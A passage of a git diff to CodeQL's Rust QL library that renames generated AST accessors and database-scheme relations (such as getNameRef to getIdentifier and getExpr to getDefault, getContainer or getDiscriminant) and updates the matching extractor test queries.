b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -290,17 +290,17 @@ private module Impl { } private Element getImmediateChildOfAsmRegSpec(AsmRegSpec e, int index, string partialPredicateCall) { - exists(int b, int bAstNode, int n, int nNameRef | + exists(int b, int bAstNode, int n, int nIdentifier | b = 0 and bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and n = bAstNode and - nNameRef = n + 1 and + nIdentifier = n + 1 and ( none() or result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall) or - index = n and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = n and result = e.getIdentifier() and partialPredicateCall = "Identifier()" ) ) } @@ -831,15 +831,15 @@ private module Impl { PathSegment e, int index, string partialPredicateCall ) { exists( - int b, int bAstNode, int n, int nGenericArgList, int nNameRef, int nParenthesizedArgList, + int b, int bAstNode, int n, int nGenericArgList, int nIdentifier, int nParenthesizedArgList, int nRetType, int nReturnTypeSyntax, int nTypeRepr, int nTraitTypeRepr | b = 0 and bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and n = bAstNode and nGenericArgList = n + 1 and - nNameRef = nGenericArgList + 1 and - nParenthesizedArgList = nNameRef + 1 and + nIdentifier = nGenericArgList + 1 and + nParenthesizedArgList = nIdentifier + 1 and nRetType = nParenthesizedArgList + 1 and nReturnTypeSyntax = nRetType + 1 and nTypeRepr = nReturnTypeSyntax + 1 and @@ -851,9 +851,11 @@ private module Impl { or index = n and result = e.getGenericArgList() and partialPredicateCall = "GenericArgList()" or - index = nGenericArgList and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nGenericArgList and + result = e.getIdentifier() and + partialPredicateCall = "Identifier()" or - index = nNameRef and + index = nIdentifier and result = e.getParenthesizedArgList() and partialPredicateCall = "ParenthesizedArgList()" or @@ -999,13 +1001,13 @@ private module Impl { private Element getImmediateChildOfStructExprField( StructExprField e, int index, string partialPredicateCall ) { - exists(int b, int bAstNode, int n, int nAttr, int nExpr, int nNameRef | + exists(int b, int bAstNode, int n, int nAttr, int nExpr, int nIdentifier | b = 0 and bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and n = bAstNode and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nExpr = nAttr + 1 and - nNameRef = nExpr + 1 and + nIdentifier = nExpr + 1 and ( none() or @@ -1016,7 +1018,7 @@ private module Impl { or index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()" or - index = nExpr and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nExpr and result = e.getIdentifier() and partialPredicateCall = "Identifier()" ) ) } @@ -1051,14 +1053,14 @@ private module Impl { StructField e, int index, string partialPredicateCall ) { exists( - int b, int bAstNode, int n, int nAttr, int nExpr, int nName, int nTypeRepr, int nVisibility + int b, int bAstNode, int n, int nAttr, int nDefault, int nName, int nTypeRepr, int nVisibility | b = 0 and bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and n = bAstNode and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and - nExpr = nAttr + 1 and - nName = nExpr + 1 and + nDefault = nAttr + 1 and + nName = nDefault + 1 and nTypeRepr = nName + 1 and nVisibility = nTypeRepr + 1 and ( @@ -1069,9 +1071,9 @@ private module Impl { result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or - index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()" + index = nAttr and result = e.getDefault() and partialPredicateCall = "Default()" or - index = nExpr and result = e.getName() and partialPredicateCall = "Name()" + index = nDefault and result = e.getName() and partialPredicateCall = "Name()" or index = nName and result = e.getTypeRepr() and partialPredicateCall = "TypeRepr()" or @@ -1083,13 +1085,13 @@ private module Impl { private Element getImmediateChildOfStructPatField( StructPatField e, int index, string partialPredicateCall ) { - exists(int b, int bAstNode, int n, int nAttr, int nNameRef, int nPat | + exists(int b, int bAstNode, int n, int nAttr, int nIdentifier, int nPat | b = 0 and bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and n = bAstNode and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and - nNameRef = nAttr + 1 and - nPat = nNameRef + 1 and + nIdentifier = nAttr + 1 and + nPat = nIdentifier + 1 and ( none() or @@ -1098,9 +1100,9 @@ private module Impl { result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or - index = nAttr and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nAttr and result = e.getIdentifier() and partialPredicateCall = "Identifier()" or - index = nNameRef and result = e.getPat() and partialPredicateCall = "Pat()" + index = nIdentifier and result = e.getPat() and partialPredicateCall = "Pat()" ) ) } @@ -1639,7 +1641,7 @@ private module Impl { AssocTypeArg e, int index, string partialPredicateCall ) { exists( - int b, int bGenericArg, int n, int nConstArg, int nGenericArgList, int nNameRef, + int b, int bGenericArg, int n, int nConstArg, int nGenericArgList, int nIdentifier, int nParamList, int nRetType, int nReturnTypeSyntax, int nTypeRepr, int nTypeBoundList | b = 0 and @@ -1648,8 +1650,8 @@ private module Impl { n = bGenericArg and nConstArg = n + 1 and nGenericArgList = nConstArg + 1 and - nNameRef = nGenericArgList + 1 and - nParamList = nNameRef + 1 and + nIdentifier = nGenericArgList + 1 and + nParamList = nIdentifier + 1 and nRetType = nParamList + 1 and nReturnTypeSyntax = nRetType + 1 and nTypeRepr = nReturnTypeSyntax + 1 and @@ -1665,9 +1667,11 @@ private module Impl { result = e.getGenericArgList() and partialPredicateCall = "GenericArgList()" or - index = nGenericArgList and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nGenericArgList and + result = e.getIdentifier() and + partialPredicateCall = "Identifier()" or - index = nNameRef and result = e.getParamList() and partialPredicateCall = "ParamList()" + index = nIdentifier and result = e.getParamList() and partialPredicateCall = "ParamList()" or index = nParamList and result = e.getRetType() and partialPredicateCall = "RetType()" or @@ -1993,13 +1997,13 @@ private module Impl { } private Element getImmediateChildOfFieldExpr(FieldExpr e, int index, string partialPredicateCall) { - exists(int b, int bExpr, int n, int nAttr, int nExpr, int nNameRef | + exists(int b, int bExpr, int n, int nAttr, int nContainer, int nIdentifier | b = 0 and bExpr = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfExpr(e, i, _)) | i) and n = bExpr and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and - nExpr = nAttr + 1 and - nNameRef = nExpr + 1 and + nContainer = nAttr + 1 and + nIdentifier = nContainer + 1 and ( none() or @@ -2008,9 +2012,9 @@ private module Impl { result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or - index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()" + index = nAttr and result = e.getContainer() and partialPredicateCall = "Container()" or - index = nExpr and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nContainer and result = e.getIdentifier() and partialPredicateCall = "Identifier()" ) ) } @@ -3063,7 +3067,7 @@ private module Impl { private Element getImmediateChildOfVariant(Variant e, int index, string partialPredicateCall) { exists( - int b, int bVariantDef, int bAddressable, int n, int nAttr, int nExpr, int nFieldList, + int b, int bVariantDef, int bAddressable, int n, int nAttr, int nDiscriminant, int nFieldList, int nName, int nVisibility | b = 0 and @@ -3073,8 +3077,8 @@ private module Impl { bVariantDef + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and n = bAddressable and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and - nExpr = nAttr + 1 and - nFieldList = nExpr + 1 and + nDiscriminant = nAttr + 1 and + nFieldList = nDiscriminant + 1 and nName = nFieldList + 1 and nVisibility = nName + 1 and ( @@ -3087,9 +3091,9 @@ private module Impl { result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or - index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()" + index = nAttr and result = e.getDiscriminant() and partialPredicateCall = "Discriminant()" or - index = nExpr and result = e.getFieldList() and partialPredicateCall = "FieldList()" + index = nDiscriminant and result = e.getFieldList() and partialPredicateCall = "FieldList()" or index = nFieldList and result = e.getName() and partialPredicateCall = "Name()" or @@ -3335,13 +3339,13 @@ private module Impl { private Element getImmediateChildOfExternCrate( ExternCrate e, int index, string partialPredicateCall ) { - exists(int b, int bItem, int n, int nAttr, int nNameRef, int nRename, int nVisibility | + exists(int b, int bItem, int n, int nAttr, int nIdentifier, int nRename, int nVisibility | b = 0 and bItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfItem(e, i, _)) | i) and n = bItem and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and - nNameRef = nAttr + 1 and - nRename = nNameRef + 1 and + nIdentifier = nAttr + 1 and + nRename = nIdentifier + 1 and nVisibility = nRename + 1 and ( none() @@ -3351,9 +3355,9 @@ private module Impl { result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or - index = nAttr and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nAttr and result = e.getIdentifier() and partialPredicateCall = "Identifier()" or - index = nNameRef and result = e.getRename() and partialPredicateCall = "Rename()" + index = nIdentifier and result = e.getRename() and partialPredicateCall = "Rename()" or index = nRename and result = e.getVisibility() and partialPredicateCall = "Visibility()" ) @@ -3584,7 +3588,7 @@ private module Impl { MethodCallExpr e, int index, string partialPredicateCall ) { exists( - int b, int bCallExprBase, int bResolvable, int n, int nGenericArgList, int nNameRef, + int b, int bCallExprBase, int bResolvable, int n, int nGenericArgList, int nIdentifier, int nReceiver | b = 0 and @@ -3595,8 +3599,8 @@ private module Impl { max(int i | i = -1 or exists(getImmediateChildOfResolvable(e, i, _)) | i) and n = bResolvable and nGenericArgList = n + 1 and - nNameRef = nGenericArgList + 1 and - nReceiver = nNameRef + 1 and + nIdentifier = nGenericArgList + 1 and + nReceiver = nIdentifier + 1 and ( none() or @@ -3606,9 +3610,11 @@ private module Impl { or index = n and result = e.getGenericArgList() and partialPredicateCall = "GenericArgList()" or - index = nGenericArgList and result = e.getNameRef() and partialPredicateCall = "NameRef()" + index = nGenericArgList and + result = e.getIdentifier() and + partialPredicateCall = "Identifier()" or - index = nNameRef and result = e.getReceiver() and partialPredicateCall = "Receiver()" + index = nIdentifier and result = e.getReceiver() and partialPredicateCall = "Receiver()" ) ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll index 0abbf5c4c7d..d26bfbb8d5a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll @@ -44,19 +44,19 @@ module Generated { final predicate hasGenericArgList() { exists(this.getGenericArgList()) } /** - * Gets the name reference of this path segment, if it exists. + * Gets the identifier of this path segment, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertPathSegmentToRaw(this) .(Raw::PathSegment) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } /** * Gets the parenthesized argument list of this path segment, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 2258b810da3..891a2228936 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -227,9 +227,9 @@ module Raw { override string toString() { result = "AsmRegSpec" } /** - * Gets the name reference of this asm reg spec, if it exists. + * Gets the identifier of this asm reg spec, if it exists. */ - NameRef getNameRef() { asm_reg_spec_name_refs(this, result) } + NameRef getIdentifier() { asm_reg_spec_identifiers(this, result) } } /** @@ -739,9 +739,9 @@ module Raw { GenericArgList getGenericArgList() { path_segment_generic_arg_lists(this, result) } /** - * Gets the name reference of this path segment, if it exists. + * Gets the identifier of this path segment, if it exists. */ - NameRef getNameRef() { path_segment_name_refs(this, result) } + NameRef getIdentifier() { path_segment_identifiers(this, result) } /** * Gets the parenthesized argument list of this path segment, if it exists. @@ -904,9 +904,9 @@ module Raw { Expr getExpr() { struct_expr_field_exprs(this, result) } /** - * Gets the name reference of this struct expression field, if it exists. + * Gets the identifier of this struct expression field, if it exists. */ - NameRef getNameRef() { struct_expr_field_name_refs(this, result) } + NameRef getIdentifier() { struct_expr_field_identifiers(this, result) } } /** @@ -951,9 +951,9 @@ module Raw { Attr getAttr(int index) { struct_field_attrs(this, index, result) } /** - * Gets the expression of this struct field, if it exists. + * Gets the default of this struct field, if it exists. */ - Expr getExpr() { struct_field_exprs(this, result) } + Expr getDefault() { struct_field_defaults(this, result) } /** * Gets the name of this struct field, if it exists. @@ -987,9 +987,9 @@ module Raw { Attr getAttr(int index) { struct_pat_field_attrs(this, index, result) } /** - * Gets the name reference of this struct pattern field, if it exists. + * Gets the identifier of this struct pattern field, if it exists. */ - NameRef getNameRef() { struct_pat_field_name_refs(this, result) } + NameRef getIdentifier() { struct_pat_field_identifiers(this, result) } /** * Gets the pattern of this struct pattern field, if it exists. @@ -1468,9 +1468,9 @@ module Raw { GenericArgList getGenericArgList() { assoc_type_arg_generic_arg_lists(this, result) } /** - * Gets the name reference of this assoc type argument, if it exists. + * Gets the identifier of this assoc type argument, if it exists. */ - NameRef getNameRef() { assoc_type_arg_name_refs(this, result) } + NameRef getIdentifier() { assoc_type_arg_identifiers(this, result) } /** * Gets the parameter list of this assoc type argument, if it exists. @@ -1927,14 +1927,14 @@ module Raw { Attr getAttr(int index) { field_expr_attrs(this, index, result) } /** - * Gets the expression of this field expression, if it exists. + * Gets the container of this field expression, if it exists. */ - Expr getExpr() { field_expr_exprs(this, result) } + Expr getContainer() { field_expr_containers(this, result) } /** - * Gets the name reference of this field expression, if it exists. + * Gets the identifier of this field expression, if it exists. */ - NameRef getNameRef() { field_expr_name_refs(this, result) } + NameRef getIdentifier() { field_expr_identifiers(this, result) } } /** @@ -3137,9 +3137,9 @@ module Raw { Attr getAttr(int index) { variant_attrs(this, index, result) } /** - * Gets the expression of this variant, if it exists. + * Gets the discriminant of this variant, if it exists. */ - Expr getExpr() { variant_exprs(this, result) } + Expr getDiscriminant() { variant_discriminants(this, result) } /** * Gets the field list of this variant, if it exists. @@ -3427,9 +3427,9 @@ module Raw { Attr getAttr(int index) { extern_crate_attrs(this, index, result) } /** - * Gets the name reference of this extern crate, if it exists. + * Gets the identifier of this extern crate, if it exists. */ - NameRef getNameRef() { extern_crate_name_refs(this, result) } + NameRef getIdentifier() { extern_crate_identifiers(this, result) } /** * Gets the rename of this extern crate, if it exists. @@ -3706,9 +3706,9 @@ module Raw { GenericArgList getGenericArgList() { method_call_expr_generic_arg_lists(this, result) } /** - * Gets the name reference of this method call expression, if it exists. + * Gets the identifier of this method call expression, if it exists. */ - NameRef getNameRef() { method_call_expr_name_refs(this, result) } + NameRef getIdentifier() { method_call_expr_identifiers(this, result) } /** * Gets the receiver of this method call expression, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll index dd32649c88f..16dfbd946af 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll @@ -63,18 +63,18 @@ module Generated { final predicate hasExpr() { exists(this.getExpr()) } /** - * Gets the name reference of this struct expression field, if it exists. + * Gets the identifier of this struct expression field, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertStructExprFieldToRaw(this) .(Raw::StructExprField) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll index 3d5390434a9..c5525b86dba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll @@ -50,17 +50,19 @@ module Generated { final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } /** - * Gets the expression of this struct field, if it exists. + * Gets the default of this struct field, if it exists. */ - Expr getExpr() { + Expr getDefault() { result = - Synth::convertExprFromRaw(Synth::convertStructFieldToRaw(this).(Raw::StructField).getExpr()) + Synth::convertExprFromRaw(Synth::convertStructFieldToRaw(this) + .(Raw::StructField) + .getDefault()) } /** - * Holds if `getExpr()` exists. + * Holds if `getDefault()` exists. */ - final predicate hasExpr() { exists(this.getExpr()) } + final predicate hasDefault() { exists(this.getDefault()) } /** * Gets the name of this struct field, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll index 750266de118..40a2d3f74d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll @@ -48,19 +48,19 @@ module Generated { final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } /** - * Gets the name reference of this struct pattern field, if it exists. + * Gets the identifier of this struct pattern field, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertStructPatFieldToRaw(this) .(Raw::StructPatField) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } /** * Gets the pattern of this struct pattern field, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index 73c15601163..75b83ea647e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -49,16 +49,17 @@ module Generated { final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } /** - * Gets the expression of this variant, if it exists. + * Gets the discriminant of this variant, if it exists. */ - Expr getExpr() { - result = Synth::convertExprFromRaw(Synth::convertVariantToRaw(this).(Raw::Variant).getExpr()) + Expr getDiscriminant() { + result = + Synth::convertExprFromRaw(Synth::convertVariantToRaw(this).(Raw::Variant).getDiscriminant()) } /** - * Holds if `getExpr()` exists. + * Holds if `getDiscriminant()` exists. */ - final predicate hasExpr() { exists(this.getExpr()) } + final predicate hasDiscriminant() { exists(this.getDiscriminant()) } /** * Gets the field list of this variant, if it exists. diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index d2c0bfa049f..328c4b3865c 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -352,9 +352,9 @@ asm_reg_specs( ); #keyset[id] -asm_reg_spec_name_refs( +asm_reg_spec_identifiers( int id: @asm_reg_spec ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); @assoc_item = @@ -788,9 +788,9 @@ path_segment_generic_arg_lists( ); #keyset[id] -path_segment_name_refs( +path_segment_identifiers( int id: @path_segment ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); #keyset[id] @@ -930,9 +930,9 @@ struct_expr_field_exprs( ); #keyset[id] -struct_expr_field_name_refs( +struct_expr_field_identifiers( int id: @struct_expr_field ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); struct_expr_field_lists( @@ -971,9 +971,9 @@ struct_field_attrs( ); #keyset[id] -struct_field_exprs( +struct_field_defaults( int id: @struct_field ref, - int expr: @expr ref + int default: @expr ref ); #keyset[id] @@ -1006,9 +1006,9 @@ struct_pat_field_attrs( ); #keyset[id] -struct_pat_field_name_refs( +struct_pat_field_identifiers( int id: @struct_pat_field ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); #keyset[id] @@ -1414,9 +1414,9 @@ assoc_type_arg_generic_arg_lists( ); #keyset[id] -assoc_type_arg_name_refs( +assoc_type_arg_identifiers( int id: @assoc_type_arg ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); #keyset[id] @@ -1747,15 +1747,15 @@ field_expr_attrs( ); #keyset[id] -field_expr_exprs( +field_expr_containers( int id: @field_expr ref, - int expr: @expr ref + int container: @expr ref ); #keyset[id] -field_expr_name_refs( +field_expr_identifiers( int id: @field_expr ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); fn_ptr_type_reprs( @@ -2648,9 +2648,9 @@ variant_attrs( ); #keyset[id] -variant_exprs( +variant_discriminants( int id: @variant ref, - int expr: @expr ref + int discriminant: @expr ref ); #keyset[id] @@ -2892,9 +2892,9 @@ extern_crate_attrs( ); #keyset[id] -extern_crate_name_refs( +extern_crate_identifiers( int id: @extern_crate ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); #keyset[id] @@ -3158,9 +3158,9 @@ method_call_expr_generic_arg_lists( ); #keyset[id] -method_call_expr_name_refs( +method_call_expr_identifiers( int id: @method_call_expr ref, - int name_ref: @name_ref ref + int identifier: @name_ref ref ); #keyset[id] diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql index f1161ef7094..52095924f85 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql @@ -3,7 +3,7 @@ import codeql.rust.elements import TestUtils from - AssocTypeArg x, string hasConstArg, string hasGenericArgList, string hasNameRef, + AssocTypeArg x, string hasConstArg, string hasGenericArgList, string hasIdentifier, string hasParamList, string hasRetType, string hasReturnTypeSyntax, string hasTypeRepr, string hasTypeBoundList where @@ -11,12 +11,12 @@ where not x.isUnknown() and (if x.hasConstArg() then hasConstArg = "yes" else hasConstArg = "no") and (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and - (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and + (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and (if x.hasParamList() then hasParamList = "yes" else hasParamList = "no") and (if x.hasRetType() then hasRetType = "yes" else hasRetType = "no") and (if x.hasReturnTypeSyntax() then hasReturnTypeSyntax = "yes" else hasReturnTypeSyntax = "no") and (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasTypeBoundList() then hasTypeBoundList = "yes" else hasTypeBoundList = "no" -select x, "hasConstArg:", hasConstArg, "hasGenericArgList:", hasGenericArgList, "hasNameRef:", - hasNameRef, "hasParamList:", hasParamList, "hasRetType:", hasRetType, "hasReturnTypeSyntax:", +select x, "hasConstArg:", hasConstArg, "hasGenericArgList:", hasGenericArgList, "hasIdentifier:", + hasIdentifier, "hasParamList:", hasParamList, "hasRetType:", hasRetType, "hasReturnTypeSyntax:", hasReturnTypeSyntax, "hasTypeRepr:", hasTypeRepr, "hasTypeBoundList:", hasTypeBoundList diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql similarity index 83% rename from rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql index 8f393e34443..ce4016622d4 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from AssocTypeArg x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql index 547a2080864..c8250d86b4b 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql @@ -4,7 +4,7 @@ import TestUtils from ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasNameRef, string hasRename, string hasVisibility + string hasIdentifier, string hasRename, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,9 +15,9 @@ where ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and - (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and + (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and (if x.hasRename() then hasRename = "yes" else hasRename = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasNameRef:", hasNameRef, "hasRename:", hasRename, + "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", hasIdentifier, "hasRename:", hasRename, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql similarity index 83% rename from rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql index 3a9fcac3774..1a8f5693f13 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from ExternCrate x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql index 1de84ec3427..631e15698b6 100644 --- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql +++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql @@ -2,11 +2,12 @@ import codeql.rust.elements import TestUtils -from FieldExpr x, int getNumberOfAttrs, string hasExpr, string hasNameRef +from FieldExpr x, int getNumberOfAttrs, string hasContainer, string hasIdentifier where toBeTested(x) and not x.isUnknown() and getNumberOfAttrs = x.getNumberOfAttrs() and - (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and - if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no" -select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasNameRef:", hasNameRef + (if x.hasContainer() then hasContainer = "yes" else hasContainer = "no") and + if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no" +select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasContainer:", hasContainer, "hasIdentifier:", + hasIdentifier diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql similarity index 84% rename from rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql rename to rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql index e307cf26da0..b32e302ad91 100644 --- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql +++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql @@ -4,4 +4,4 @@ import TestUtils from FieldExpr x where toBeTested(x) and not x.isUnknown() -select x, x.getExpr() +select x, x.getContainer() diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql similarity index 83% rename from rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql index f87d456f2c0..766fc85ab0f 100644 --- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from FieldExpr x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql index 989540265a0..d0b082f4523 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql @@ -4,7 +4,7 @@ import TestUtils from MethodCallExpr x, string hasArgList, int getNumberOfAttrs, string hasResolvedPath, - string hasResolvedCrateOrigin, string hasGenericArgList, string hasNameRef, string hasReceiver + string hasResolvedCrateOrigin, string 